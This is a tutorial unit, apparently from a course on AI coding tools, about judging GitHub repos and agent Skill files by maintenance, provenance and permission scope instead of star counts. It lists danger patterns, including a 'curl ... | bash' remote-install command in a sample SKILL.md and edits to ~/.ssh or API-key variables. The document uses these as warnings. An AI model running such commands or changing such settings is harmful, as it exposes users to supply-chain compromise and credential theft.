Skip to main content
What this unit solvesGitHub star counts primarily reflect marketing reach and momentary hype, not “whether it works for you,” “whether it is safe,” or “whether it is still maintained.” This unit gives you a set of more reliable signals and a repeatable scoring rubric.

​
Learning objectives

  • Explain the bias sources that make star counts an unreliable signal.
  • List at least six signals more reliable than stars and know how to check each one.
  • Apply a personal scoring rubric to a repo or Skill and reach a decision.
  • Distinguish between “discovery channel” and “endorsement.”

​
1. Signal and noise in star counts

A star is GitHub’s button for a user to express “I’m interested / bookmarking / paying respect.” It is not a quality certificate and not an activity indicator. A survey of 791 developers found that three-quarters check star counts before adopting or contributing to an open-source project [1]. The side effect of placing that fact in a decision chain: once stars become the default filter, their correspondence to actual project health gets severely overestimated. The original research analyzed the growth curves of 5,000 high-star repos, identified at least four distinct star growth patterns, and concluded explicitly that “selecting projects by star count” carries real risk [1]. Concrete bias sources:
  • Publication timing: a wave of exposure on Hacker News, Reddit, or X can generate a large star spike; once the coverage fades, most of those users never return to contribute or report issues.
  • Title and hero image: a polished README with a slick demo GIF, a branded typeface, and well-ordered badges attracts stars; none of that correlates with code quality.
  • Language or framework popularity: the same repo might have ten times fewer stars in the Rust ecosystem than in a more popular language — that does not make it lower quality.
  • Stagnation illusion: a high-star repo may have had no activity for a long time; the community assumes “many people use it, so it must be safe” — in reality they are guarding an empty shell.
A counterexampleYou find a “35k-star awesome LLM agent” list repo, clone it, and discover the last commit was 18 months ago; more than half the listed tools are archived or renamed; the issue tracker has accumulated 200+ unanswered broken-link reports. The star count told you none of this.

​
2. Six more reliable signals

Remove stars from the evaluation table and replace them with the following six signals. Each has a concrete, checkable observation method.
Permission scope comes before everything elseAny Skill or rule file that requires curl ... | bash, touches ~/.bashrc / ~/.ssh/, changes ANTHROPIC_BASE_URL / OPENAI_API_KEY environment variables, or writes outside the repo boundary should be treated as a danger signal immediately. For specific scanning commands, see 03-3 Security, Privacy, and Supply-Chain Risk.

​
3. Marketing versus evidence

Two signals require separate treatment: the author’s “demo” and your own “hands-on test.”
  • Demo: the video, the hero GIF, the benchmark table. This is the scenario the author most wants you to see — it is almost always cherry-picked.
  • Hands-on test: you run it against your own real tasks, measure time, check reproducibility, calculate cost. This is the substance of the trial protocol in Section 2 of 03-1 Fit Evaluation.
Stay skeptical about “benchmark top rank.” Ask three things first:
  • Which benchmark? What are the data distribution, evaluation metrics, and execution environment?
  • Are the benchmark tasks the same type as yours? Classification versus generation, single-turn versus multi-turn — the gap is large.
  • Are conditions truly equal? Model version, prompt, random seed, hardware — are they held constant?
If the benchmark conditions are not public, or the tasks differ significantly from yours, that “top rank” has no meaning for your situation.

​
4. A personal scoring rubric

Turn the six signals from Section 2 into a scoring table. Assign each signal a weight (summing to 100), score the candidate, and reject anything below the threshold.

​
4.1 Default weights

Adjust weights to your taskFor projects handling sensitive data, raise “permission scope” to 35 and “provenance” to 20, scaling the rest down proportionally. For internal prototypes, you can lower “tests and documentation” to 5.

​
4.2 Scoring scale (0-3)

  • 0: red-flag condition is met; do not adopt.
  • 1: barely passes but with concerns; run a trial before adopting.
  • 2: meets expectations; no obvious problems.
  • 3: exceeds expectations (fast issue response, CI present, signed commits, all dependencies maintained).
Weighted score = sum(signal score x weight) / 100. Recommended threshold: weighted score >= 1.8 to proceed to the trial protocol in 03-1; below 1.5 skip it outright.

​
4.3 Interactive scoring tool

Use the rubric below to score a real candidate repo and observe how the veto rule works: any single signal at 0 triggers a red light regardless of the weighted total.

​
5. Where to find candidates

Knowing what to look for and knowing where to find it are two different things.
  • Official marketplaces and standards sites (higher provenance, as of 2026-05): the agents.md standard (agents.md) and extensions / Skills / plugins listed in each tool’s official documentation. agents.md was donated in December 2025 alongside MCP and goose into the Agentic AI Foundation (AAIF) under the Linux Foundation, co-founded by OpenAI, Anthropic, and Block; governance and hosting details are in 01-7 Section 3. Source traceability is high but volume is low.
  • Community lists (high volume, high noise, as of 2026-05): GitHub lists such as awesome-cursorrules, awesome-agent-skills, awesome-mcp-servers. Use these as discovery channels, not endorsements; verify survival with a live GitHub query.
  • Search engine + qualifiers: combine awesome, plugin, skill with the tool name, then filter for repos updated within the past year.
Discovery does not equal endorsementAppearing in a popular awesome list means only “was collected” — not “is safe” or “is right for you.” The list editor did not run a security scan on your behalf and did not run a trial for you. After finding a candidate in a list, you still need to run the six-signal check and the 03-3 security scan.

​
Hands-on: run a complete evaluation on one candidate repo

This takes 30 to 45 minutes end-to-end. Take a candidate Skills file or rule set you are currently considering, and do both stages in order.

​
Stage A: six-signal observation

1

Check the repo homepage

Look at the CI badge, the Latest Release date, and the contributor avatars (are they active?).
2

Check Insights for commit distribution

Open Insights > Contributors and examine the commit frequency over the past 90 days.
3

Review Issues

Open Issues, sort by “Oldest,” and check the age of unresolved issues and the time to first official response.
4

Review Pull requests

Open Pull requests and note the count of unmerged PRs and the date of the most recent merge.
5

Scan Skill or rule files

For Skill or rule files, run a full-text scan with ripgrep (rg) against suspicious patterns (see 03-3).
6

Check key dependencies

Verify that the GitHub repos of key dependencies are still active and not flagged as deprecated.
If any observation hits a red-flag condition, record 0 for that signal and stop the remaining steps.

​
Stage B: apply the rubric

Using the default weights from Section 4.1, score each of the six signals 0 to 3:
  • 0: red-flag condition is met.
  • 1: barely passes; concerns present.
  • 2: meets expectations; no obvious problems.
  • 3: exceeds expectations.
Scoring walkthroughCandidate A: a Claude Skill advertised as “auto-writes tests,” 1.2k stars.
  • Recency of maintenance: 2 (8 commits in the past 90 days)
  • Issue / PR responsiveness: 1 (median 25 days; author responds but slowly)
  • Provenance: 3 (named author, signed commits, employer publicly known)
  • Permission scope: 0 (SKILL.md contains curl https://example.com/install.sh | bash)
Weighted score = (2x20 + 1x15 + 3x15 + 0x25 + ?x15 + ?x10) / 100. Permission scope is 0, triggering an immediate red light; the remaining two signals do not need to be assessed.Even if every other signal were perfect, the single-zero veto design exists precisely to prevent “looks fine overall but has one landmine buried inside” adoptions.
Final ruling:
  • Any signal at 0: do not adopt; write down the reason.
  • Weighted score < 1.5: do not adopt; write down the reason.
  • Weighted score in the 1.5 - 1.8 band: hold for observation; run the trial protocol from Section 2 of 03-1.
  • Weighted score 1.8 or above: adopt; write down the use context and a planned reassessment date.

​
Common pitfalls

  • Installing after looking only at stars and the homepage README. Stars reflect reach; the README reflects marketing; neither reflects your task fit.
  • Treating inclusion in a community list as a quality guarantee. Lists are curation, not auditing. Dead repos outnumber active ones in most awesome lists.
  • Ignoring the last updated date. A Skill that has not changed in a year should be expected to break the next time you upgrade.
  • Failing to separate demo from hands-on test. A smooth demo video does not mean smooth operation for you; run it against your real tasks.
  • Treating high popularity as evidence of safe permissions. Popularity cannot cancel out a dangerous permission request; it actually increases the risk of imitation attacks.

​
Self-check

Self-check
  • Can you make an adopt / reject decision on a candidate repo without looking at its star count?
  • When did you last check the permission scope of the three Skills or rule files you use most? What specific lines did you actually look at?
  • Is your personal scoring rubric written down? Have you adjusted the weights for your tasks?
  • What was the last time an awesome list misled you? Which signal did you fail to check?

​
Sources and further reading

Factual claims are grounded in official documentation; fast-changing items are annotated as of 2026-05.
  • [1] H. Borges and M. T. Valente, “What’s in a GitHub Star? Understanding Repository Starring Practices in a Social Coding Platform,” Journal of Systems and Software, vol. 146, pp. 112-129, Dec. 2018. (Survey of 791 developers; analysis of star growth patterns and their disconnect from project health) https://doi.org/10.1016/j.jss.2018.09.016 (as of 2026-05)